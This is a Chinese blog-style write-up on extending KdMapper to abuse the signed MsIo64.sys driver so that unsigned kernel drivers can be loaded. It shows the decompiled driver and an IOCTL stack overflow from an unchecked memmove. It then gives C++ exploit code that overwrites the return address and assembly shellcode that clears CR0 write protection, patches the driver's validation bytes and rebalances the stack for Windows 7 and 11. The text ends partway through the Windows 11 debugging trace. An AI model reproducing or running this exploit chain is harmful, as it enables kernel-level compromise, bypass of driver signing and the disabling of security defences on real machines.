KdMapper扩展实现之MICSYS(MsIo64.sys)

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称MsIo64.sys 
时间戳5DA7C185
MD5DC943BF367AE77016AE399DF8E71D38A
文件版本1.1.19.1016
设备名称\\.\MsIo
执行代码0x80102040
映射物理内存0x80102040
取消映射物理内存0x80102044
Windows 7支持
Windows 1022H2(包含) 及以下,只支持虚拟机,物理机蓝屏
Windows 1122000(包含)及以下,只支持虚拟机,物理机蓝屏

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax

        v2 = qword_14108;
        if (!qword_14108 || qword_14108 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64)&qword_14108 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                qword_14108 = v2;
        }
        qword_14100 = ~v2;
        return CreateDevice(DriverObject);
}

3.2 创建设备和符号链接

__int64 __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
        NTSTATUS ntStatus; // ebx
        PDEVICE_OBJECT DeviceObject; // [rsp+40h] [rbp-38h] BYREF
        _UNICODE_STRING DestinationString; // [rsp+48h] [rbp-30h] BYREF
        _UNICODE_STRING SymbolicLinkName; // [rsp+58h] [rbp-20h] BYREF

        DeviceObject = 0i64;
        DbgPrint("Entering DriverEntry");
        RtlInitUnicodeString(&DestinationString, L"\\Device\\MsIo");
        ntStatus = IoCreateDevice(DriverObject, 0, &DestinationString, 0x8010u, 0, 0, &DeviceObject);
        if (ntStatus < 0)
        {
                DbgPrint("ERROR: IoCreateDevice failed");
        }
        else
        {
                DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)MainDispatch;
                DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)MainDispatch;
                DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)MainDispatch;
                DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11010;
                RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\MsIo");
                ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (ntStatus < 0)
                {
                        DbgPrint("ERROR: IoCreateSymbolicLink failed");
                        IoDeleteDevice(DeviceObject);
                }
        }
        DbgPrint("Leaving DriverEntry");
        return (unsigned int)ntStatus;
}

3.3 MainDispatch

__int64 __fastcall MainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rbp
        PBYTE pSystemBuffer; // rsi
        UCHAR nMajorFunction; // al
        size_t nInputBufferLength; // rbx
        ULONG nIoControlCode; // er11
        unsigned __int32 v8; // eax
        unsigned __int16 v9; // ax
        unsigned __int8 v10; // al
        NTSTATUS ntStatusV11; // ebp
        unsigned int v12; // ebx
        MSIO64_PHYSICAL_MEMORY_INFO Info; // [rsp+30h] [rbp-48h] BYREF
        unsigned __int16 Dst; // [rsp+88h] [rbp+10h] BYREF
        unsigned int v16; // [rsp+8Ah] [rbp+12h]
        char v17; // [rsp+8Eh] [rbp+16h]

        DbgPrint("---Entry MsIoDispatch---");
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        pSystemBuffer = (PBYTE)pIrp->AssociatedIrp.SystemBuffer;
        pIrp->IoStatus.Status = 0;
        pIrp->IoStatus.Information = 0i64;
        nMajorFunction = pIosp->MajorFunction;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        if (!pIosp->MajorFunction)
        {
                DbgPrint("IRP_MJ_CREATE");
                goto LABEL_34;
        }
        if (nMajorFunction == 2)
        {
                DbgPrint("IRP_MJ_CLOSE");
                goto LABEL_34;
        }
        if (nMajorFunction == 14)
        {
                DbgPrint("IRP_MJ_DEVICE_CONTROL");
                nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
                switch (nIoControlCode)
                {
                case 0x80102040:
                        DbgPrint("IOCTL_MSIO_MAPPHYSTOLIN");
                        if (!(_DWORD)nInputBufferLength)
                                goto LABEL_9;
                        memmove(&Info, pSystemBuffer, nInputBufferLength);
                        ntStatusV11 = MapPhysicalAddress(Info.PhysicalAddress, Info.Size, &Info.BaseAddress, &Info.Handle, &Info.Object);
                        if (ntStatusV11 >= 0)
                        {
                                memmove(pSystemBuffer, &Info, nInputBufferLength);
                                pIrp->IoStatus.Information = nInputBufferLength;
                        }
                        pIrp->IoStatus.Status = ntStatusV11;
                        break;
                case 0x80102044:
                        DbgPrint("IOCTL_MSIO_UNMAPPHYSADDR");
                        if ((_DWORD)nInputBufferLength)
                        {
                                memmove(&Info, pSystemBuffer, nInputBufferLength);
                                pIrp->IoStatus.Status = UnmapPhysicalAddress(Info.Handle, Info.BaseAddress, Info.Object);
                                break;
                        }
                        goto LABEL_9;
                ......
                default:
                        DbgPrint("ERROR: Unknown IRP_MJ_DEVICE_CONTROL");
                LABEL_9:
                        pIrp->IoStatus.Status = 0xC000000D;
                        break;
                }
        }
LABEL_34:
        v12 = pIrp->IoStatus.Status;
        IofCompleteRequest(pIrp, 0);
        DbgPrint("Leaving MsIoDispatch");
        return v12;
}

  其中 0x80102040 是映射物理内存,实现函数为 MapPhysicalAddress, 0x80102044 为取消映射物理内存,实现函数为 UnmapPhysicalAddress。

  代码第 45 行为 memmove(&Info, pSystemBuffer, nInputBufferLength),此处并未对第三个参数大小进行验证,可以利用堆栈溢出执行任意代码,参见《4.1执行任意代码》

3.4 映射物理内存

__int64 __fastcall MapPhysicalAddress(PHYSICAL_ADDRESS BusAddress, ULONG_PTR nSize, PVOID* pMappedAddressRet, void** pHandle, PVOID* pObject)
{
        DWORD BaseAddress; // ebx
        unsigned __int16 v8; // ax
        int v9; // er10
        unsigned __int16 v10; // ax
        int v11; // ecx
        unsigned __int32 v12; // eax
        unsigned __int32 v13; // eax
        unsigned __int32 v14; // eax
        ULONG_PTR v16; // rax
        PVOID* Object; // rbp
        NTSTATUS ntStatus; // edi
        BOOLEAN v19; // bl
        BOOLEAN v20; // al
        ULONG AddressSpace; // [rsp+50h] [rbp-A8h] BYREF
        PVOID MappedAddress; // [rsp+58h] [rbp-A0h] BYREF
        LARGE_INTEGER TranslatedAddress; // [rsp+60h] [rbp-98h] BYREF
        union _LARGE_INTEGER SectionOffset; // [rsp+68h] [rbp-90h] BYREF
        LARGE_INTEGER BusAddressa; // [rsp+70h] [rbp-88h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+78h] [rbp-80h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+A8h] [rbp-50h] BYREF
        ULONG_PTR CommitSize; // [rsp+108h] [rbp+10h] BYREF

        CommitSize = nSize;
        BaseAddress = BusAddress.LowPart;
        MappedAddress = 0i64;
        DbgPrint("Entering MapPhysicalMemoryToLinearSpace");
        dword_14110 = 0;
        __outdword(0xCF8u, 0x80000000);
        v8 = __inword(0xCFCu);
        v9 = v8;
        __outdword(0xCF8u, 0x80002800);
        v10 = __inword(0xCFEu);
        dword_14118 = v9;
        v11 = v10;
        v12 = 0;
        dword_14114 = v11;
        if (v9 != 0x8086)
                return 0xC0000022i64;
        if (v11 == 12072 || v11 == 28456)
        {
                __outdword(0xCF8u, 0x80002890);
                v13 = __indword(0xCFCu);
                v12 = v13 & 0xFC000000;
                dword_14110 = v12;
        }
        if (v11 == 8228)
        {
                __outdword(0xCF8u, 0x80002890);
                v14 = __indword(0xCFCu);
                v12 = v14 & 0xFC000000;
                dword_14110 = v12;
        }
        if (!v12 || BaseAddress < v12 || BaseAddress > v12 + 0x10000000)
                return 0xC0000022i64;
        v16 = CommitSize;
        if (CommitSize >= 4)
                v16 = 4i64;
        CommitSize = v16;
        RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
        Object = pObject;
        *pHandle = 0i64;
        *Object = 0i64;
        ObjectAttributes.Length = 48;
        ObjectAttributes.RootDirectory = 0i64;
        ObjectAttributes.Attributes = 64;
        ObjectAttributes.ObjectName = &DestinationString;
        ObjectAttributes.SecurityDescriptor = 0i64;
        ObjectAttributes.SecurityQualityOfService = 0i64;
        ntStatus = ZwOpenSection(pHandle, 0xF001Fu, &ObjectAttributes);
        if (ntStatus < 0)
        {
                DbgPrint("ERROR: ZwOpenSection failed");
        }
        else
        {
                ntStatus = ObReferenceObjectByHandle(*pHandle, 0xF001Fu, 0i64, 0, Object, 0i64);
                if (ntStatus < 0)
                {
                        DbgPrint("ERROR: ObReferenceObjectByHandle failed");
                }
                else
                {
                        BusAddressa.QuadPart = BaseAddress + CommitSize;
                        TranslatedAddress.QuadPart = BaseAddress;
                        AddressSpace = 0;
                        v19 = HalTranslateBusAddress(Isa, 0, (PHYSICAL_ADDRESS)BaseAddress, &AddressSpace, &TranslatedAddress);
                        AddressSpace = 0;
                        v20 = HalTranslateBusAddress(Isa, 0, BusAddressa, &AddressSpace, &BusAddressa);
                        if (v19 && v20)
                        {
                                SectionOffset = TranslatedAddress;
                                CommitSize = BusAddressa.QuadPart - TranslatedAddress.QuadPart;
                                ntStatus = ZwMapViewOfSection(
                                        *pHandle,
                                        (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                        &MappedAddress,
                                        0i64,
                                        BusAddressa.QuadPart - TranslatedAddress.QuadPart,
                                        &SectionOffset,
                                        &CommitSize,
                                        ViewShare,
                                        0,
                                        0x204u);
                                if (ntStatus == -1073741800)
                                        ntStatus = ZwMapViewOfSection(
                                                *pHandle,
                                                (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                                &MappedAddress,
                                                0i64,
                                                CommitSize,
                                                &SectionOffset,
                                                &CommitSize,
                                                ViewShare,
                                                0,
                                                4u);
                                if (ntStatus >= 0)
                                {
                                        MappedAddress = (char*)MappedAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;
                                        *pMappedAddressRet = MappedAddress;
                                }
                                else
                                {
                                        DbgPrint("ERROR: ZwMapViewOfSection failed");
                                }
                        }
                        else
                        {
                                DbgPrint("ERROR: HalTranslateBusAddress failed");
                        }
                }
        }
        if (ntStatus < 0)
                ZwClose(*pHandle);
        DbgPrint("Leaving MapPhysicalMemoryToLinearSpace");
        return (unsigned int)ntStatus;
}

  其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

  其中第 39 行以及 55 行对映射物理内存的条件作了限制,正常情况下导致映射失败,可以利用 《4.1执行任意代码》来修改对应的代码逻辑达到绕过验证,详见《4.2 映射物理内存函数校验》

  其中第 85 行、 86 行、88行内容为实际映射物理内存,但其地址的值被限定为一个DWORD大小,见第 3 行的定义,修改逻辑详见《4.3 映射物理内存地址参数》

3.5 取消映射物理内存

__int64 __fastcall UnmapPhysicalAddress(HANDLE Handle, PVOID BaseAddress, PVOID Object)
{
        NTSTATUS ntStatus; // ebx

        DbgPrint("Entering UnmapPhysicalMemory");
        ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, BaseAddress);
        if (ntStatus < 0)
                DbgPrint("ERROR: UnmapViewOfSection failed");
        if (Object)
                ObfDereferenceObject(Object);
        ZwClose(Handle);
        DbgPrint("Leaving UnmapPhysicalMemory");
        return (unsigned int)ntStatus;
}

 3.6 MSIO64_PHYSICAL_MEMORY_INFO结构体

00000000 MSIO64_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, copyof_381)
00000000                                         ; XREF: MainDispatch/r
00000000 PhysicalAddress PHYSICAL_ADDRESS ?      ; XREF: MainDispatch+238/r
00000008 Size            dq ?                    ; XREF: MainDispatch+23D/r
00000010 Handle          dq ?                    ; XREF: MainDispatch+205/r
00000010                                         ; MainDispatch+247/o ; offset
00000018 BaseAddress     dq ?                    ; XREF: MainDispatch+200/r
00000018                                         ; MainDispatch+24C/o ; offset
00000020 Object          dq ?                    ; XREF: MainDispatch+1FB/r
00000020                                         ; MainDispatch+242/o ; offset
00000028 MSIO64_PHYSICAL_MEMORY_INFO ends

4.相关逻辑分析及利用

4.1 执行任意代码

  在MainDispatch中有以下代码:

 switch ( nIoControlCode )
    {
      case 0x80102040:
        DbgPrint("IOCTL_MSIO_MAPPHYSTOLIN");
        if ( !(_DWORD)nInputBufferLength )
          goto LABEL_9;
        memmove(&Info, pSystemBuffer, nInputBufferLength);
         
        ......

  其中 memmove 的第三个大小参数 nInputBufferLength 并未作相应校验,故此处可以进行堆栈溢出。

  在 IDA 中双击 Info 定位到堆栈,如下:

-0000000000000048 Info            MSIO64_PHYSICAL_MEMORY_INFO ?
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018                 db ? ; undefined
-0000000000000017                 db ? ; undefined
-0000000000000016                 db ? ; undefined
-0000000000000015                 db ? ; undefined
-0000000000000014                 db ? ; undefined
-0000000000000013                 db ? ; undefined
-0000000000000012                 db ? ; undefined
-0000000000000011                 db ? ; undefined
-0000000000000010 var_10          dq ?
-0000000000000008 var_8           dq ?
+0000000000000000  r              db 8 dup(?)
+0000000000000008                 db ? ; undefined
+0000000000000009                 db ? ; undefined
+000000000000000A                 db ? ; undefined
+000000000000000B                 db ? ; undefined
+000000000000000C                 db ? ; undefined
+000000000000000D                 db ? ; undefined
+000000000000000E                 db ? ; undefined
+000000000000000F                 db ? ; undefined
+0000000000000010 Dst             dw ?
+0000000000000012 arg_A           dd ?
+0000000000000016 arg_E           db ?
+0000000000000017                 db ? ; undefined
+0000000000000018 arg_10          dq ?
+0000000000000020 arg_18          dq ?
+0000000000000028
+0000000000000028 ; end of stack variables

  可以看到 Info变量在 地址0x48处,故传的结构体及大小大于 0x48就可会覆盖到返回的地址进行堆栈溢出利用。

  大致代码如下:

#define MSIO64_DEVICE_TYPE          (DWORD)0x8010
#define MSIO64_EXECUTE_SHELLCODE_FUNCID   (DWORD)0x810
#define IOCTL_MSIO64_EXECUTE_SHELLCODE   CTL_CODE(MSIO64_DEVICE_TYPE, MSIO64_EXECUTE_SHELLCODE_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040

typedef struct _PATCH_DRIVER_THREAD_CONTEXT
{
    HANDLE hDevice;
    PATCH_DRIVER_PLATFORM nPlatform;
    PVOID pShellCodeAddress;
}PATCH_DRIVER_THREAD_CONTEXT,*PPATCH_DRIVER_THREAD_CONTEXT;

static void __cdecl micsys_driver::PatchDriverImplemetationThread(void* param)
{
        PPATCH_DRIVER_THREAD_CONTEXT pContext = (PPATCH_DRIVER_THREAD_CONTEXT)param;
        DWORD dwInBufferSize = 0x50;
        DWORD dwOutBufferSize = 12;
        DWORD dwBytesReturned = 0;
        BYTE data[0x48] = { 0 };
        PVOID pInBuffer = malloc(0x100);
        PVOID pCallAddress = pContext->pShellCodeAddress;
        Log(L"[+] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread Begin" << std::endl);
        if (!pInBuffer)
        {
                Log(L"[-] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread malloc pInBuffer failed" << std::endl);
                return;
        }
        memcpy(&data[0x16], &pInBuffer, 8);
        memcpy(pInBuffer, &data, 0x48);
        memcpy((CHAR*)pInBuffer + 0x48, &pCallAddress, 8);
        BYTE lpOutBuffer[12] = { 0 };

        BOOL bOK = DeviceIoControl(pContext->hDevice, IOCTL_MSIO64_EXECUTE_SHELLCODE, pInBuffer, dwInBufferSize, &lpOutBuffer, dwOutBufferSize, &dwBytesReturned, NULL);
        if (!bOK)
        {
                Log(L"[-] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread DeviceIoControl failed, Code:" << GetLastError() << std::endl);
        }
        else
        {
                Log(L"[+] PatchDriver " << PlatformName[pContext->nPlatform] << " Thread End" << std::endl);
        }
        free(pInBuffer);
        free(pContext);
}

  其中 pCallAddress 就是要执行的代码,此处为一组 ShellCode,  稍后作详细内容。

  原理分析可见《8.参考文章》

4.2 映射物理内存函数校验

4.2.1 第一处验证

  在 《3.4 映射物理内存》 第 39 行对映射物理内存的条件作了限制。

  IDA 定位相关代码分析:

  

  第 39 行及 40行跳转逻辑为 0x11111处,汇编代码为 jnz     short loc_11170, 机器码为 75 5D, 要更改此处逻辑只需要将代码改为  nop nop,即 90 90。

4.2.2 第二处验证

  在《3.4 映射物理内存》 第 55 行对映射物理内存的条件作了限制。

  IDA 定位相关代码分析:

  

  第 55 行跳转逻辑为 11161处,汇编代码为 jz short loc_11170,机器码为 74 0D, 需要更改此处逻辑代码为跳转到 loc_1117A,汇编代码为 jmp loc_1117A, 二进制代码 EB 17。

4.3 映射物理内存地址参数

  映射物理内存指定地址时有几处逻辑和汇编代码如下,全部逻辑见《3.4 映射物理内存》 。

4.3.1 第一处修改

    v16 = CommitSize;
    if ( CommitSize >= 4 )
        v16 = 4i64;
    CommitSize = v16;

  对应汇编代码为

.text:000000000001117A 48 8B 84 24 08 01 00 00                 mov     rax, [rsp+0F8h+CommitSize]
......
.text:000000000001119A 41 BE 04 00 00 00                       mov     r14d, 4
......    
.text:00000000000111A7 49 3B C6                                cmp     rax, r14
......
.text:00000000000111B2 49 0F 43 C6                             cmovnb  rax, r14
.text:00000000000111B6 48 89 84 24 08 01 00 00                 mov     [rsp+0F8h+CommitSize], rax

   关键修改代码在 111B2 处, 汇编代码为 cmovnb rax, r14, 机制码为 49 0F 43 C6。 此处需要修改为空,让它不赋值,修改的汇编代码为 nop nop nop nop,即 90909090。

4.3.2 第二处修改

     BusAddressa.QuadPart = BaseAddress + CommitSize;

  对应汇编代码为  

.text:000000000001125B 44 8B C3                                mov     r8d, ebx        ; BusAddress
.text:000000000001125E 33 D2                                   xor     edx, edx        ; BusNumber

  关键代码在 1125B处,此处因为定义的参数值为DWORD,参见《3.4 映射物理内存》第3行定义,因此如果传入的物理地址高位值不为0,则实际会被截断。

  因此需要将此处修改为 mov r8, rbx, 机器码为 49 89 D8, 再加上后一位机器码 33, 即为修改 1125B 处的 DWORD地址 为 0x3D88949。

4.4 ShellCode相关分析

4.4.1 ShellCode逻辑总结

  参考《4.1执行任意代码》,我们只需要在ShellCode中修改几处字节:

  • 0x1161 处修改两个字节的值 为 0x17EB
  • 0x1111 处修改两个字节的值 为 0x9090
  • 0x11B2 处修改四个字节的值为 0x90909090
  • 0x125B 处修改四个字节的值为 0x33d88949

4.4.2 ShellCode执行时只读内存问题

  ShellCode执行的过程中修改相应地址的值,但这些地址位于漏洞驱动的 .text 区段,这个区段的内存是只读的,因此需要修改此内存区间的权限为可写,或者使用其它方式使之可写。

  本文利用 cr0 寄存器的修改达到可写的目的,汇编代码如下:

; 关闭写保护
mov rax, cr0
mov rbx, cr0
and rax, not 010000h
mov cr0, rax

;还原写保护
mov cr0, rbx

  因为VS2019中不能内嵌汇编代码,故得将ShellCode写成asm文件形式,上述操作 cr0 的汇编不能被识别,得将其转为 二进制代码。

  于是ShellCode汇编代码加修改逻辑如下节所示。

4.4.3 初步 ShellCode 逻辑代码

  shellcode.asm

ShellCodeWin7 PROC
	cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据  jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据	nop nop
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据	nop nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据  mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
    ......                         ;此处需要处理堆栈平衡
	ret
ShellCodeWin7 ENDP

  .C文件

#define PATCH_DRIVER_OFFSET_1161	(0x1161)
#define PATCH_DRIVER_OFFSET_1111	(0x1111)
#define PATCH_DRIVER_OFFSET_11B2	(0x11B2)
#define PATCH_DRIVER_OFFSET_125B	(0x125B)


bool micsys_driver::PatchDriverImplemetation(HANDLE device_handle, uintptr_t driverBase, PATCH_DRIVER_PLATFORM nPlatform)
{
        Log(L"[+] PatchDriver " << PlatformName[nPlatform] <<" Begin" << std::endl);
        uintptr_t pPatchAddress1161 = driverBase + PATCH_DRIVER_OFFSET_1161;
        uintptr_t pPatchAddress1111 = driverBase + PATCH_DRIVER_OFFSET_1111;
        uintptr_t pPatchAddress11B2 = driverBase + PATCH_DRIVER_OFFSET_11B2;
        uintptr_t pPatchAddress125B = driverBase + PATCH_DRIVER_OFFSET_125B;
        PBYTE pShellCode = NULL;
        switch (nPlatform)
        {
        case PLATFORM_WIN7:
                pShellCode = (PBYTE)&ShellCodeWin7;
        	break;
        case PLATFORM_WIN10_21H1:
                pShellCode = (PBYTE)&ShellCodeWin10_21H1_21H2;
                break;
        case PLATFORM_WIN10_21H2:
                pShellCode = (PBYTE)&ShellCodeWin10_21H1_21H2;
                break;
        case PLATFORM_WIN10_22H2:
                pShellCode = (PBYTE)&ShellCodeWin10_22H2;
                break;
        case PLATFORM_WIN11:
                pShellCode = (PBYTE)&ShellCodeWin11;
                break;                
        }
        DWORD dwOldProtect = 0;
        BOOL bChange = VirtualProtect(pShellCode, 512, PAGE_EXECUTE_READWRITE, &dwOldProtect);
        if (!bChange)
        {
                Log(L"[-] PatchDriver " << PlatformName[nPlatform] << " VirtualProtect failed, Code:" << GetLastError() << std::endl);
                return false;
        }
        RtlCopyMemory(pShellCode + 18, &pPatchAddress1161, 8);
        RtlCopyMemory(pShellCode + 33, &pPatchAddress1111, 8);
        RtlCopyMemory(pShellCode + 48, &pPatchAddress11B2, 8);
        RtlCopyMemory(pShellCode + 64, &pPatchAddress125B, 8);
        VirtualProtect(pShellCode, 512, dwOldProtect, &dwOldProtect);
        PPATCH_DRIVER_THREAD_CONTEXT pContext = (PPATCH_DRIVER_THREAD_CONTEXT)malloc(sizeof(PATCH_DRIVER_THREAD_CONTEXT));
        if (!pContext)
        {
                Log(L"[-] PatchDriver pContext allocate failed" << std::endl);
                return false;
        }
        pContext->hDevice = device_handle;
        pContext->nPlatform = nPlatform;
        pContext->pShellCodeAddress = pShellCode;
        _beginthread(PatchDriverImplemetationThread, 0, (PVOID)pContext);
        Sleep(1000);
        Log(L"[+] PatchDriver " << PlatformName[nPlatform] << " End" << std::endl);
        return true;
}

  其中 ShellCode的内容实际在程序的代码段,因此是不可写入的,需要用 VirtualProtect 修改权限后进行写。

  PatchDriverImplemetationThread 见《4.1 执行任意代码》

  shellcode.asm中有一处为堆栈平衡,此处不同平台的处理逻辑不同,因此代码用的 ShellCode 代码的选择是根据平台不同而不同。

  后继将分析 ShellCode的堆栈平衡问题。

4.4.4 Windows  7 x64 堆栈平衡处理

4.4.4.1 IDA分析

   IDA 打开 MsIo64.sys 并定位到 MainDispatch, 如下:

  可以看到其起始地址为 0x114C0,再用 StudyPE 中的 RVA 计算器计算出其相对虚拟地址,如下:

  其 RVA 为 0x14C0。

  知道其 RVA 后就可以在WinDbg中进行下断点调试,查看实际调用 DeviceIoControl 时的堆栈情况。

4.4.4.2 WinDbg调试

  先加载 MsIo64.sys, 找到其对应的模块基址。

nt!RtlpBreakWithStatusInstruction:
fffff800`052ef820 cc              int     3
3: kd> lm
start             end                 module name
00000000`47730000 00000000`47750000   smss     T (no symbols)           
......
fffff880`041ad000 fffff880`041b5000   yxsBVGhSPpptosrlpA   (deferred)        
......    

  查看到其基址为 fffff880`041ad000, 然后加上上节所计算出来的 ROA 0x14C0, 得到  fffff880`041ae4c0

3: kd> ? fffff880`041ad000 + 0x14C0 
Evaluate expression: -8246268336960 = fffff880`041ae4c0

  然后下断点:

3: kd> ba e1 fffff880`041ae4c0
3: kd> bl
     0 e Disable Clear  fffff880`041ae4c0 e 1 0001 (0001) yxsBVGhSPpptosrlpA+0x14c0

  然后执行程序调用 DeviceIoControl(使用的是已经完成的程序来进行的调试)。

  执行后的调用堆栈如下:

[0x0]   yxsBVGhSPpptosrlpA + 0x14c0!yxsBVGhSPpptosrlpA+0x14c0   0xfffff88003787988   0xfffff80005534f9a   
[0x1]   nt!IopSynchronousServiceTail+0xfa   0xfffff88003787990   0xfffff8000570af81   
[0x2]   nt!IopXxxControlFile+0xc51   0xfffff88003787a00   0xfffff800055995e6   
[0x3]   nt!NtDeviceIoControlFile+0x56   0xfffff88003787b40   0xfffff800052f7053   
[0x4]   nt!KiSystemServiceCopyEnd+0x13   0xfffff88003787bb0   0x779a8d4a   
[0x5]   ntdll!ZwDeviceIoControlFile+0xa   0x74f748   0x7fefd4cc469   
[0x6]   0x7fefd4cc469!+   0x74f750   0x13f3d27e0   
[0x7]   0x13f3d27e0!+   0x74f758   0x13f3d10f8   
[0x8]   0x13f3d10f8!+   0x74f760   0x13f3d2850   
[0x9]   0x13f3d2850!+   0x74f768   0x407c80   
[0xa]   0x407c80!+   0x74f770   0x74f7a0   
[0xb]   0x74f7a0!+   0x74f778   0x180102040   
[0xc]   0x180102040!+   0x74f780   0x409070   
[0xd]   0x409070!+   0x74f788   0x100000050   
[0xe]   0x100000050!+   0x74f790   0x74f8a8   
[0xf]   0x74f8a8!+   0x74f798   0xc   
[0x10]   0xc!+   0x74f7a0   0x13f3d27e0   
[0x11]   0x13f3d27e0!+   0x74f7a8   0x13f3d2701   
[0x12]   0x13f3d2701!+   0x74f7b0   0x50   
[0x13]   0x50!+   0x74f7b8   0x7773590f   
[0x14]   kernel32!DeviceIoControlImplementation+0x7f   0x74f7c0   0x13f3758a6   
[0x15]   0x13f3758a6!+   0x74f810   0x13f3875d1   
[0x16]   0x13f3875d1!+   0x74f818   0x13f39fc77   
[0x17]   0x13f39fc77!+   0x74f820   0x0

  可以看到其调用的返回函数为 nt!IopSynchronousServiceTail, 定位到该函数的调用处:

  可以看到实际就是调用 IofCallDriver 的返回,按道理我们的分发函数是 IofCallDriver 调用的,返回应该也是在 IofCallDriver 中,至于为什么不是这样可以点击 IofCallDriver 进入看一下。

  IofCallDriver 函数如下:  

  如上图,IofCallDriver 最后是一个 jmp 而不是 Call 因此堆栈中返回的地址不是 IofCallDriver 中,而到了 IopSynchronousServiceTail中。

  也就是说我们的 ShellCode 执行打断了本来应该返回到 IopSynchronousServiceTail的逻辑,再在 ShellCode 中 ret 时,实际 ret 的是 IopSynchronousServiceTail 返回的地址,也就是调用堆栈的第三个地址 [0x2]   nt!IopXxxControlFile+0xc51。

  但直接返回的话,调用堆栈是不平衡的,因为我们需要将 IopSynchronousServiceTail 中处理堆栈的逻辑加在我们的 ShellCode ret 之前。

  IopSynchronousServiceTail 的返回如下:

  我们可以将最后  add rsp, 40h 以及后边的一些 pop 指令加在我们的返回代码之前就可以完成堆栈的平衡。

4.4.4.3 Win7下的完整ShellCode代码
ShellCodeWin7 PROC
	cli
	db 0Fh
	db 20h
	db 0c0h						;mov rax, cr0
	db 0fh
	db 20h
	db 0c3h						;mov rbx, cr0
	and rax, not 010000h
	db 0Fh
	db 22h
	db 0c0h						;mov cr0, rax
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1161
	mov word ptr[rax], 17EBh    ;需要修改的内存数据  jmp 0x17
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 1111
	mov word ptr[rax], 9090h    ;需要修改的内存数据	nop nop
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 11B2
	mov dword ptr[rax], 90909090h    ;需要修改的内存数据	nop nop nop 
	mov rax, 0ffffffffffffffffh		;需要修改的内存地址 125B
	mov dword ptr[rax], 33D88949h    ;需要修改的内存数据  mov    r8,rbx, 0x33
	db 0Fh
	db 22h
	db 0c3h						;mov cr0, rbx
	sti
	xor rax, rax
	mov rbx, [rsp+68h+8h]
	add rsp, 040h				;IopSynchronousServiceTail
	pop r13
	pop r12
	pop rdi
	pop rsi
	pop rbp
	ret
ShellCodeWin7 ENDP

4.4.5 Windows  11 x64 堆栈平衡处理

  同《4.4.4 Windows  7 x64 堆栈平衡处理》 的操作一样进行分析。

  调用堆栈如下:

[0x0]   eJpFwdcpIrWpxEphRvPDnosoJ + 0x14c0!eJpFwdcpIrWpxEphRvPDnosoJ+0x14c0   0xffffbb83c5861848   0xfffff8050e01f5f5   
[0x1]   nt!IofCallDriver+0x55   0xffffbb83c5861850   0xfffff8050e4c5200   
[0x2]   nt!IopSynchronousServiceTail+0x1d0   0xffffbb83c5861890   0xfffff8050e4c6c37   
[0x3]   nt!IopXxxControlFile+0x707   0xffffbb83c5861940   0xfffff8050e4c6516   
[0x4]   nt!NtDeviceIoControlFile+0x56   0xffffbb83c5861b40   0xfffff8050e245fe5   
[0x5]   nt!KiSystemServiceCopyEnd+0x25   0xffffbb83c5861bb0   0x7ffe76ccee34   
[0x6]   0x7ffe76ccee34!+   0xf4504ff998   0x7ffe741c60eb   
[0x7]   0x7ffe741c60eb!+   0xf4504ff9a0   0x7ff6e9de27e0   
[0x8]   0x7ff6e9de27e0!+   0xf4504ff9a8   0x7ff6e9de10f8   
